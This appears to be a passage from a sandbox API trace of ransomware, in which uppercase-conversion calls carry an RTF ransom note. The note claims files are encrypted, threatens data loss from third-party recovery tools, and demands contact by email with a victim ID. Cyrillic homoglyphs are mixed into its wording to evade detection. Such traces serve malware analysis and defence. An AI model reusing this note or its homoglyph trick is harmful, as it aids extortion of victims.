TH\\F1\\LANG1049\\'C0\\F0\\LANG1033 T \\F1\\LANG1049\\'C0\\F0\\LANG1033 LL Y\\F1\\LANG1049\\'CE\\F0\\LANG1033 UR FILES WERE ENCRYPTED!\\PAR\r\n\r\n\\PARD\\RI-74\\SL240\\SLMULT1\\TX8378\\CF1\\PAR\r\n\\CF0 PLE\\F1\\LANG1049\\'C0\\F0\\LANG1033 SE BE SURE, Y\\F1\\LANG1049\\'CE\\F0\\LANG1033 UR FILES \\F1\\LANG1049\\'C0\\F0\\LANG1033 RE N\\F1\\LANG1049\\'CE\\F0\\LANG1033 T BR\\F1\\LANG1049\\'CE\\F0\\LANG1033 KEN!\\B0\\PAR\r\n\\I Y\\F1\\LANG1049\\'EE\\F0\\LANG1033 UR FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 S W\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'E5\\F0\\LANG1033 N\\F1\\LANG1049\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PT\\F1\\LANG1049\\'E5\\F0\\LANG1033 D WITH STR\\F1\\LANG1049\\'EE\\F0\\LANG1033 NG \\F1\\LANG1049\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PT\\F1\\LANG1049\\'EE\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 LG\\F1\\LANG1049\\'EE\\F0\\LANG1033 RITHMS.\\I0\\PAR\r\n\\I * PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 N\\F1\\LANG1049\\'EE\\F0\\LANG1033 T\\F1\\LANG1049\\'E5\\F0\\LANG1033 TH\\F1\\LANG1049\\'E0\\F0\\LANG1033 T TH\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 IS N\\F1\\LANG1049\\'EE\\F0\\LANG1033 W\\F1\\LANG1049\\'E0\\'F3\\F0\\LANG1033 T\\F1\\LANG1049\\'EE\\F0\\LANG1033 D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PT \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 S WITH\\F1\\LANG1049\\'EE\\F0\\LANG1033 UT UNIQU\\F1\\LANG1049\\'E5\\F0\\LANG1033 D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PTI\\F1\\LANG1049\\'EE\\F0\\LANG1033 N K\\F1\\LANG1049\\'E5\\'F3\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 ND SP\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 I\\F1\\LANG1049\\'E0\\F0\\LANG1033 L S\\F1\\LANG1049\\'EE\\F0\\LANG1033 FTW\\F1\\LANG1049\\'E0\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 . Y\\F1\\LANG1049\\'EE\\F0\\LANG1033 UR UNIQU\\F1\\LANG1049\\'E5\\F0\\LANG1033 D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PTI\\F1\\LANG1049\\'EE\\F0\\LANG1033 N K\\F1\\LANG1049\\'E5\\'F3\\F0\\LANG1033 IS S\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 UR\\F1\\LANG1049\\'E5\\F0\\LANG1033 L\\F1\\LANG1049\\'F3\\F0\\LANG1033 ST\\F1\\LANG1049\\'EE\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 D \\F1\\LANG1049\\'EE\\F0\\LANG1033 N \\F1\\LANG1049\\'EE\\F0\\LANG1033 UR S\\F1\\LANG1049\\'E5\\F0\\LANG1033 RV\\F1\\LANG1049\\'E5\\F0\\LANG1033 R.\\PAR\r\n* T\\F1\\LANG1049\\'EE\\F0\\LANG1033 D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PT \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR D\\F1\\LANG1049\\'E0\\F0\\LANG1033 T\\F1\\LANG1049\\'E0\\F0\\LANG1033 \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U N\\F1\\LANG1049\\'E5\\'E5\\F0\\LANG1033 D \\F1\\LANG1049\\'EE\\F0\\LANG1033 UR SP\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 IFI\\F1\\LANG1049\\'F1\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 UT\\F1\\LANG1049\\'EE\\F0\\LANG1033 M\\F1\\LANG1049\\'E0\\F0\\LANG1033 TI\\F1\\LANG1049\\'F1\\F0\\LANG1033 D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PTI\\F1\\LANG1049\\'EE\\F0\\LANG1033 N T\\F1\\LANG1049\\'EE\\'EE\\F0\\LANG1033 L \\F1\\LANG1049\\'E0\\F0\\LANG1033 ND \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR UNIQU\\F1\\LANG1049\\'E5\\F0\\LANG1033 D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PTI\\F1\\LANG1049\\'EE\\F0\\LANG1033 N K\\F1\\LANG1049\\'E5\\'F3\\F0\\LANG1033 .\\PAR\r\n* \\F1\\LANG1049\\'C0\\F0\\LANG1033 LL \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 S W\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 N\\F1\\LANG1049\\'E0\\F0\\LANG1033 M\\F1\\LANG1049\\'E5\\F0\\LANG1033 D BUT \\F1\\LANG1049\\'E0\\F0\\LANG1033 FT\\F1\\LANG1049\\'E5\\F0\\LANG1033 R D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PTI\\F1\\LANG1049\\'EE\\F0\\LANG1033 N PR\\F1\\LANG1049\\'EE\\'F1\\'E5\\F0\\LANG1033 SS FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 N\\F1\\LANG1049\\'E0\\F0\\LANG1033 M\\F1\\LANG1049\\'E5\\F0\\LANG1033 S WILL B\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\'F1\\'EE\\F0\\LANG1033 V\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 D T\\F1\\LANG1049\\'EE\\F0\\LANG1033 \\F1\\LANG1049\\'EE\\F0\\LANG1033 RIGIN\\F1\\LANG1049\\'E0\\F0\\LANG1033 L ST\\F1\\LANG1049\\'E0\\F0\\LANG1033 T\\F1\\LANG1049\\'E5\\F0\\LANG1033 . D\\F1\\LANG1049\\'E0\\F0\\LANG1033 T\\F1\\LANG1049\\'E0\\F0\\LANG1033 STRU\\F1\\LANG1049\\'F1\\F0\\LANG1033 TUR\\F1\\LANG1049\\'E5\\F0\\LANG1033 WILL N\\F1\\LANG1049\\'EE\\F0\\LANG1033 T \\F1\\LANG1049\\'F1\\F0\\LANG1033 H\\F1\\LANG1049\\'E0\\F0\\LANG1033 NG\\F1\\LANG1049\\'E5\\F0\\LANG1033 .\\PAR\r\n* PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 B\\F1\\LANG1049\\'E5\\F0\\LANG1033 SUR\\F1\\LANG1049\\'E5\\F0\\LANG1033 TH\\F1\\LANG1049\\'E0\\F0\\LANG1033 T \\F1\\LANG1049\\'E0\\F0\\LANG1033 LL TH\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 TT\\F1\\LANG1049\\'E5\\F0\\LANG1033 MPTS T\\F1\\LANG1049\\'EE\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\'F1\\'EE\\F0\\LANG1033 V\\F1\\LANG1049\\'E5\\F0\\LANG1033 R \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 S B\\F1\\LANG1049\\'F3\\F0\\LANG1033 \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 URS\\F1\\LANG1049\\'E5\\F0\\LANG1033 LF \\F1\\LANG1049\\'EE\\F0\\LANG1033 R USING THIRD P\\F1\\LANG1049\\'E0\\F0\\LANG1033 RT\\F1\\LANG1049\\'F3\\F0\\LANG1033 T\\F1\\LANG1049\\'EE\\'EE\\F0\\LANG1033 LS \\F1\\LANG1049\\'F1\\'E0\\F0\\LANG1033 N R\\F1\\LANG1049\\'E5\\F0\\LANG1033 SULT IN IRR\\F1\\LANG1049\\'E5\\F0\\LANG1033 V\\F1\\LANG1049\\'EE\\'F1\\'E0\\F0\\LANG1033 BL\\F1\\LANG1049\\'E5\\F0\\LANG1033 L\\F1\\LANG1049\\'EE\\F0\\LANG1033 SS \\F1\\LANG1049\\'EE\\F0\\LANG1033 F \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR D\\F1\\LANG1049\\'E0\\F0\\LANG1033 T\\F1\\LANG1049\\'E0\\F0\\LANG1033 !\\B\\I0\\PAR\r\n\\PAR\r\nWH\\F1\\LANG1049\\'C0\\F0\\LANG1033 T D\\F1\\LANG1049\\'CE\\F0\\LANG1033 Y\\F1\\LANG1049\\'CE\\F0\\LANG1033 U NEED T\\F1\\LANG1049\\'CE\\F0\\LANG1033 D\\F1\\LANG1049\\'CE\\F0\\LANG1033 ?\\PAR\r\n\\B0 FIRST \\F1\\LANG1049\\'EE\\F0\\LANG1033 F \\F1\\LANG1049\\'E0\\F0\\LANG1033 LL \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U H\\F1\\LANG1049\\'E0\\F0\\LANG1033 V\\F1\\LANG1049\\'E5\\F0\\LANG1033 T\\F1\\LANG1049\\'EE\\F0\\LANG1033 WRIT\\F1\\LANG1049\\'E5\\F0\\LANG1033 US B\\F1\\LANG1049\\'F3\\F0\\LANG1033 \\F1\\LANG1049\\'E5\\F0\\LANG1033 -M\\F1\\LANG1049\\'E0\\F0\\LANG1033 IL:\\PAR\r\n\r\n\\PARD\\SL240\\SLMULT1\\F1\\LANG1049\\'CE\\F0\\LANG1033 UR FIRST \\F1\\LANG1049\\'E5\\F0\\LANG1033 -M\\F1\\LANG1049\\'E0\\F0\\LANG1033 IL:\\TAB \\B\\FS28 [EML1]\\PAR\r\n\\B0\\F1\\FS24\\LANG1049\\'CE\\F0\\LANG1033 UR S\\F1\\LANG1049\\'E5\\'F1\\'EE\\F0\\LANG1033 ND \\F1\\LANG1049\\'E5\\F0\\LANG1033 -M\\F1\\LANG1049\\'E0\\F0\\LANG1033 IL:\\TAB\\TAB\\B\\FS28 [EML2]\\PAR\r\n\\B0\\F1\\FS24\\LANG1049\\'CE\\F0\\LANG1033 UR THIRD \\F1\\LANG1049\\'E5\\F0\\LANG1033 -M\\F1\\LANG1049\\'E0\\F0\\LANG1033 IL:\\TAB\\TAB\\B\\FS28 [EML3]\\CF1\\FS24\\PAR\r\n\r\n\\PARD\\RI-74\\SL240\\SLMULT1\\TX8378\\CF0\\B0\\PAR\r\n\r\n\\PARD\\SL240\\SLMULT1\\CF1\\UL\\B\\F1\\FS28\\LANG1049\\'C0\\F0\\LANG1033 TTENTI\\F1\\LANG1049\\'CE\\F0\\LANG1033 N!\\PAR\r\n\\ULNONE\\FS26 IF \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U W\\F1\\LANG1049\\'E0\\F0\\LANG1033 NT T\\F1\\LANG1049\\'EE\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\'F1\\'EE\\F0\\LANG1033 V\\F1\\LANG1049\\'E5\\F0\\LANG1033 R \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR D\\F1\\LANG1049\\'E0\\F0\\LANG1033 T\\F1\\LANG1049\\'E0\\F0\\LANG1033 PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 WRIT\\F1\\LANG1049\\'E5\\F0\\LANG1033 US T\\F1\\LANG1049\\'EE\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 LL \\F1\\LANG1049\\'EE\\F0\\LANG1033 UR \\F1\\LANG1049\\'E5\\F0\\LANG1033 -M\\F1\\LANG1049\\'E0\\F0\\LANG1033 IL \\F1\\LANG1049\\'E0\\F0\\LANG1033 DR\\F1\\LANG1049\\'E5\\F0\\LANG1033 SS\\F1\\LANG1049\\'E5\\F0\\LANG1033 S!\\PAR\r\nIT IS R\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 LL\\F1\\LANG1049\\'F3\\F0\\LANG1033 IMP\\F1\\LANG1049\\'EE\\F0\\LANG1033 RT\\F1\\LANG1049\\'E0\\F0\\LANG1033 NT B\\F1\\LANG1049\\'E5\\'F1\\'E0\\F0\\LANG1033 US\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'EE\\F0\\LANG1033 F D\\F1\\LANG1049\\'E5\\F0\\LANG1033 LIV\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PR\\F1\\LANG1049\\'EE\\F0\\LANG1033 BL\\F1\\LANG1049\\'E5\\F0\\LANG1033 MS WITH S\\F1\\LANG1049\\'EE\\F0\\LANG1033 M\\F1\\LANG1049\\'E5\\F0\\LANG1033 M\\F1\\LANG1049\\'E0\\F0\\LANG1033 IL S\\F1\\LANG1049\\'E5\\F0\\LANG1033 RVI\\F1\\LANG1049\\'F1\\'E5\\F0\\LANG1033 S!\\PAR\r\nPL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 B\\F1\\LANG1049\\'E5\\F0\\LANG1033 SUR\\F1\\LANG1049\\'E5\\F0\\LANG1033 W\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 LW\\F1\\LANG1049\\'E0\\'F3\\F0\\LANG1033 S IN T\\F1\\LANG1049\\'EE\\F0\\LANG1033 U\\F1\\LANG1049\\'F1\\F0\\LANG1033 H \\F1\\LANG1049\\'E0\\F0\\LANG1033 ND R\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 D\\F1\\LANG1049\\'F3\\F0\\LANG1033 T\\F1\\LANG1049\\'EE\\F0\\LANG1033 H\\F1\\LANG1049\\'E5\\F0\\LANG1033 LP \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U!\\PAR\r\nIF \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U WILL N\\F1\\LANG1049\\'EE\\F0\\LANG1033 T R\\F1\\LANG1049\\'E5\\'F1\\'E5\\F0\\LANG1033 IV\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'EE\\F0\\LANG1033 UR \\F1\\LANG1049\\'E0\\F0\\LANG1033 NSW\\F1\\LANG1049\\'E5\\F0\\LANG1033 R IN 24 H\\F1\\LANG1049\\'EE\\F0\\LANG1033 URS, PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 ND \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR M\\F1\\LANG1049\\'E5\\F0\\LANG1033 SS\\F1\\LANG1049\\'E0\\F0\\LANG1033 G\\F1\\LANG1049\\'E5\\F0\\LANG1033 !\\PAR\r\n\\CF2\\FS28 PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 LW\\F1\\LANG1049\\'E0\\'F3\\F0\\LANG1033 S \\F1\\LANG1049\\'F1\\F0\\LANG1033 H\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 K SP\\F1\\LANG1049\\'C0\\F0\\LANG1033 M F\\F1\\LANG1049\\'EE\\F0\\LANG1033 LD\\F1\\LANG1049\\'E5\\F0\\LANG1033 R!\\PAR\r\n\r\n\\PARD\\RI-74\\SL240\\SLMULT1\\TX8378\\CF0\\B0\\FS26 * \\I WRIT\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'EE\\F0\\LANG1033 N ENGLISH \\F1\\LANG1049\\'EE\\F0\\LANG1033 R US\\F1\\LANG1049\\'E5\\F0\\LANG1033 PR\\F1\\LANG1049\\'EE\\F0\\LANG1033 F\\F1\\LANG1049\\'E5\\F0\\LANG1033 SSI\\F1\\LANG1049\\'EE\\F0\\LANG1033 N\\F1\\LANG1049\\'E0\\F0\\LANG1033 L TR\\F1\\LANG1049\\'E0\\F0\\LANG1033 NSL\\F1\\LANG1049\\'E0\\F0\\LANG1033 T\\F1\\LANG1049\\'EE\\F0\\LANG1033 R\\I0\\PAR\r\n\\FS24\\PAR\r\n\\HIGHLIGHT3\\FS28 IN SUBJ\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 T LIN\\F1\\LANG1049\\'E5\\F0\\LANG1033 WRIT\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR P\\F1\\LANG1049\\'E5\\F0\\LANG1033 RS\\F1\\LANG1049\\'EE\\F0\\LANG1033 N\\F1\\LANG1049\\'E0\\F0\\LANG1033 L ID: \\B [KID]\\PAR\r\n\\HIGHLIGHT0\\PAR\r\nF\\F1\\LANG1049\\'EE\\F0\\LANG1033 R \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR \\F1\\LANG1049\\'E0\\F0\\LANG1033 SSUR\\F1\\LANG1049\\'E0\\F0\\LANG1033 N\\F1\\LANG1049\\'F1\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U \\F1\\LANG1049\\'F1\\'E0\\F0\\LANG1033 N \\F1\\LANG1049\\'E0\\F0\\LANG1033 TT\\F1\\LANG1049\\'E0\\'F1\\F0\\LANG1033 H UP T\\F1\\LANG1049\\'EE\\F0\\LANG1033 3 SM\\F1\\LANG1049\\'E0\\F0\\LANG1033 LL \\F1\\LANG1049\\'E5\\F0\\LANG1033 N\\F1\\LANG1049\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PT\\F1\\LANG1049\\'E5\\F0\\LANG1033 D FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 S T\\F1\\LANG1049\\'EE\\F0\\LANG1033 \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR M\\F1\\LANG1049\\'E5\\F0\\LANG1033 SS\\F1\\LANG1049\\'E0\\F0\\LANG1033 G\\F1\\LANG1049\\'E5\\F0\\LANG1033 . W\\F1\\LANG1049\\'E5\\F0\\LANG1033 WILL D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PT \\F1\\LANG1049\\'E0\\F0\\LANG1033 ND S\\F1\\LANG1049\\'E5\\F0\\LANG1033 ND \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PT\\F1\\LANG1049\\'E5\\F0\\LANG1033 D FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 S F\\F1\\LANG1049\\'EE\\F0\\LANG1033 R FR\\F1\\LANG1049\\'E5\\'E5\\F0\\LANG1033 . \\PAR\r\n\\I\\F1\\FS24\\LANG1049 * \\F0\\LANG1033 \\F1\\LANG1049 \\F0\\LANG1033 PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 N\\F1\\LANG1049\\'EE\\F0\\LANG1033 T\\F1\\LANG1049\\'E5\\F0\\LANG1033 TH\\F1\\LANG1049\\'E0\\F0\\LANG1033 T FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 S MUST N\\F1\\LANG1049\\'EE\\F0\\LANG1033 T \\F1\\LANG1049\\'F1\\'EE\\F0\\LANG1033 NT\\F1\\LANG1049\\'E0\\F0\\LANG1033 IN \\F1\\LANG1049\\'E0\\F0\\LANG1033 N\\F1\\LANG1049\\'F3\\F0\\LANG1033 V\\F1\\LANG1049\\'E0\\F0\\LANG1033 LU\\F1\\LANG1049\\'E0\\F0\\LANG1033 BL\\F1\\LANG1049\\'E5\\F0\\LANG1033 INF\\F1\\LANG1049\\'EE\\F0\\LANG1033 RM\\F1\\LANG1049\\'E0\\F0\\LANG1033 TI\\F1\\LANG1049\\'EE\\F0\\LANG1033 N \\F1\\LANG1049\\'E0\\F0\\LANG1033 ND TH\\F1\\LANG1049\\'E5\\F0\\LANG1033 IR T\\F1\\LANG1049\\'EE\\F0\\LANG1033 T\\F1\\LANG1049\\'E0\\F0\\LANG1033 L SIZ\\F1\\LANG1049\\'E5\\F0\\LANG1033 MUST B\\F1\\LANG1049\\'E5\\F0\\LANG1033 L\\F1\\LANG1049\\'E5\\F0\\LANG1033 SS TH\\F1\\LANG1049\\'E0\\F0\\LANG1033 N 5MB. \\PAR\r\n\\I0\\PAR\r\n\\CF4\\FS26 PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 D\\F1\\LANG1049\\'EE\\F0\\LANG1033 N'T W\\F1\\LANG1049\\'EE\\F0\\LANG1033 RR\\F1\\LANG1049\\'F3\\F0\\LANG1033 !\\PAR\r\nB\\F1\\LANG1049\\'E5\\F0\\LANG1033 SUR\\F1\\LANG1049\\'E5\\F0\\LANG1033 TH\\F1\\LANG1049\\'E0\\F0\\LANG1033 T \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR D\\F1\\LANG1049\\'E0\\F0\\LANG1033 T\\F1\\LANG1049\\'E0\\F0\\LANG1033 \\F1\\LANG1049\\'F1\\'E0\\F0\\LANG1033 N B\\F1\\LANG1049\\'E5\\F0\\LANG1033 REST\\F1\\LANG1049\\'CE\\F0\\LANG1033 RED T\\F1\\LANG1049\\'CE\\F0\\LANG1033 D\\F1\\LANG1049\\'C0\\F0\\LANG1033 Y!\\PAR\r\nW\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 IN T\\F1\\LANG1049\\'EE\\F0\\LANG1033 U\\F1\\LANG1049\\'F1\\F0\\LANG1033 H 24/7 \\F1\\LANG1049\\'E0\\F0\\LANG1033 ND R\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 D\\F1\\LANG1049\\'F3\\F0\\LANG1033 T\\F1\\LANG1049\\'EE\\F0\\LANG1033 H\\F1\\LANG1049\\'E5\\F0\\LANG1033 LP \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U!\\PAR\r\nIF \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U N\\F1\\LANG1049\\'EE\\F0\\LANG1033 T R\\F1\\LANG1049\\'E5\\'F1\\'E5\\F0\\LANG1033 IV\\F1\\LANG1049\\'E5\\F0\\LANG1033 D \\F1\\LANG1049\\'EE\\F0\\LANG1033 UR \\F1\\LANG1049\\'E0\\F0\\LANG1033 NSW\\F1\\LANG1049\\'E5\\F0\\LANG1033 R PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 ND \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR M\\F1\\LANG1049\\'E5\\F0\\LANG1033 SS\\F1\\LANG1049\\'E0\\F0\\LANG1033 G\\F1\\LANG1049\\'E5\\F0\\LANG1033 T\\F1\\LANG1049\\'EE\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 LL \\F1\\LANG1049\\'E5\\F0\\LANG1033 -M\\F1\\LANG1049\\'E0\\F0\\LANG1033 IL \\F1\\LANG1049\\'E0\\F0\\LANG1033 DR\\F1\\LANG1049\\'E5\\F0\\LANG1033 SS\\F1\\LANG1049\\'E5\\F0\\LANG1033 S!\\PAR\r\n\\CF0\\B0\\FS24\\PAR\r\n\\CF5\\B\\FS28 [RDM_STR]\\CF0\\F1\\FS32\\LANG1049\\PAR\r\n\r\n\\PARD\\SA200\\SL240\\SLMULT1\\PAR\r\n}\r\n") returned 0x36cf [0033.902] CharUpperBuffW (in: lpsz="[EML1]", cchLength=0x6 | out: lpsz="[EML1]") returned 0x6 [0033.902] CharUpperBuffW (in: lpsz="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 